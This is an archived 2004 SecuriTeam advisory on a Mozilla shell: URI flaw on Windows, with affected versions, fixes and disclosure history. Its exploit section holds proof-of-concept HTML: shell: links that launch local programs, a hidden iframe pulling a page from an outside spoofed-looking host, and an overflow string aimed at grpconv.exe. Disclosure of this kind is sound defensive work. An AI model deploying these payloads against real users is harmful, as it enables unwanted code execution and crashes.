

[NT] Mozilla shell: Scheme Allows Code Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0032.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/11/04

To: list@securiteam.com

Date: 11 Jul 2004 12:17:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mozilla shell: Scheme Allows Code Execution

SUMMARY

Windows versions of Mozilla products pass URIs using the shell: scheme to the OS for handling. The effects depend on the version of Windows, but on Windows XP it is possible to launch executables in known locations or the default handlers for file extensions. It could be possible to combine this effect with a known buffer overrun in one of these programs to create a remote execution exploit, although at this time we have confirmed only denial-of-service type attacks (including crashing the system in some cases).

DETAILS

Vulnerable Systems:

- * Mozilla (Suite) version 1.7.0 and prior
- * Mozilla Firefox version 0.9.1 and prior
- * Mozilla Thunderbird version 0.7.1 and prior

Immune Systems:

- * Mozilla (Suite) version 1.7.1
- * Mozilla Firefox version 0.9.2
- * Mozilla Thunderbird version 0.7.2

Securiteam: [NT] Mozilla shell: Scheme Allows Code Execution

On July 7 a security vulnerability affecting browsers for the Windows operating system was reported to mozilla.org by Keith McCanless, and was subsequently posted to Full Disclosure, a public security mailing list. On the same day, the Mozilla security team confirmed the report of this security issue affecting the Mozilla Application Suite, Firefox, and Thunderbird and discussed and developed the fix at Bugzilla bug 250180. We have confirmed that the bug affects only users of Microsoft's Windows operating system. The issue does not affect Linux or Macintosh users.

On July 8th, the Mozilla team released a configuration change that resolves this problem by explicitly disabling the use of the shell: external protocol handler. The fix is available in two forms. The first is a small download which will make this configuration adjustment for the user. The second fix is to install the newest full release of each of these products. Instructions on administering these changes can be found below.

Solution:

The Mozilla project urges people to install the patch available on mozilla.org or install the latest version of the software:

<<http://www.mozilla.org/security/shell.html>>

<http://www.mozilla.org/security/shell.html>

Exploit:

The following HTML snippet can be used to run commands in the context of the user local zone. The vulnerability lies in the handling of the shell protocol that is inherently unsafe because it allows execution of commands. The browsers should restrict access to the shell protocol.

```
<center><br><br></center>
```

```
<center>
```

```
<a href="shell:windows\snakeoil.txt">who goes there</a></center> <iframe  
src="http://windowsupdate.microsoft.com%2Fhttp-  
equiv.dyndns.org/~http-equiv/b*llsh*t.html" style="display:none">
```

```
[customize as you see fit]
```

```
<http://www.malware.com/stockpump.html>
```

The following commands are examples of how it is possible to run commands remotely:

```
<a href=shell:windows\system32\calc.exe>1</a>
```

```
<a href=shell:windows\system32\calc.exe>2</a>
```

```
<a href=shell:windows\system32\winver.exe>4</a>
```

Saved as HTML and run, each of these launches an application on the target machine. In addition, the full path to the Windows system32 directory doesn't need to be known in advance since the shell interpreter automatically replaces it with the proper Windows base directory. In the HKEY_CLASSES_ROOT\Shell registry key one can see that the shell object invokes Windows Explorer with a specific set of arguments:

```
%SystemRoot%\Explorer.exe /e,/idlist,%I,%L
```

Securiteam: [NT] Mozilla shell: Scheme Allows Code Execution

Since Mozilla allows access to the shell object, and that in turn is capable of running many commands, the issue is remotely exploitable. All an attacker has to do is find a program on the target machine that can be used to further compromise the system. A program that contains a local buffer overflow, for example. One such program found by Andreas Sandblad is the MSPProgramGroup (WINDOWS\System32\grpconv.exe) with a command as follows:

```
shell:[x*221].grp
```

The EIP register can be controlled but is a bit tricky to exploit since the parameter is stored as a UNICODE string. It is also very possible that other 3rd party programs will be susceptible to a buffer overflow and could aid the attacker in gaining access or compromising the machine.

ADDITIONAL INFORMATION

The information has been provided by <mailto:PerrymonJ@bek.com> Perrymon, Josh L..

The official advisory can be found at:

<<http://www.mozilla.org/security/shell.html>>

<http://www.mozilla.org/security/shell.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.